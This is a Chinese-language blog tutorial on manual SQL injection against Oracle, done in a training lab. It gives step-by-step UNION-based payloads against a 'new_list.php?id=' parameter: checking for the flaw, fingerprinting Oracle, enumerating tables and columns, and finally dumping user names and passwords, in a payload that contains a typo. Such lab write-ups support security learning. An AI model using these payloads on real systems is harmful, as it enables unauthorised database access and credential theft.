昨天总结了一下自己还比较熟悉的MySQL注入,今天记录一下没注入过的Oracle数据库的注入方式
环境搭建
可以用docker搭建Oracle注入环境,我这里就直接使用墨者学院的Oracle漏洞环境了
注入过程
判断是否存在注入
判断是否存在注入与MySQL基本一致
由以下四步基本可以判断出存在数字型注入
1 | new_list.php?id=1 //页面正常,有回显 |
判断数据库类型
1 | and (select count (*) from dual)>0 //正常为Oracle,报错为MySQL,此处回显正常,所以为Oracle |
判断列数
判断列数与MySQL一致
1 | order by |
判断显示位和数据类型
此处不同于MySQL,根据以下条件,判断显示位数据类型
1 | union select null,null from dual //正常返回两个null,则字段都为数字型 |
查看当前数据库版本信息
1 | union select '1',(select banner from sys.v_$version where rownum=1) from dual |
查看数据库
1 | union select '1',(select owner from all_tables where rownum=1) from dual |
查看表名
1 | union select '1',table_name from user_tables where rownum=1 |
查看列名
1 | union select '1',column_name from user_tab_columns where table_name='XXX' and rownum=1 |
查询数据
1 | union select 'a',(select uesr_name||'-'||user_pwd||'-'||status from (select rownum rn,user_name,user_pwd,status from "sns_users") where rn=1) from dual-- |
总结
Oracle和MySQL的注入基本是大同小异吧,思路差不太多,差的就是一些Oracle语法和内置数据库啥的,简单一写,后面会总结学习一下Oracle的注入技巧
本文作者:
yd0ng
本文链接: https://blog.yd0ng.top/2020/09/09/Oracle%E6%B3%A8%E5%85%A5%E5%88%9D%E6%8E%A2/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!
本文链接: https://blog.yd0ng.top/2020/09/09/Oracle%E6%B3%A8%E5%85%A5%E5%88%9D%E6%8E%A2/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!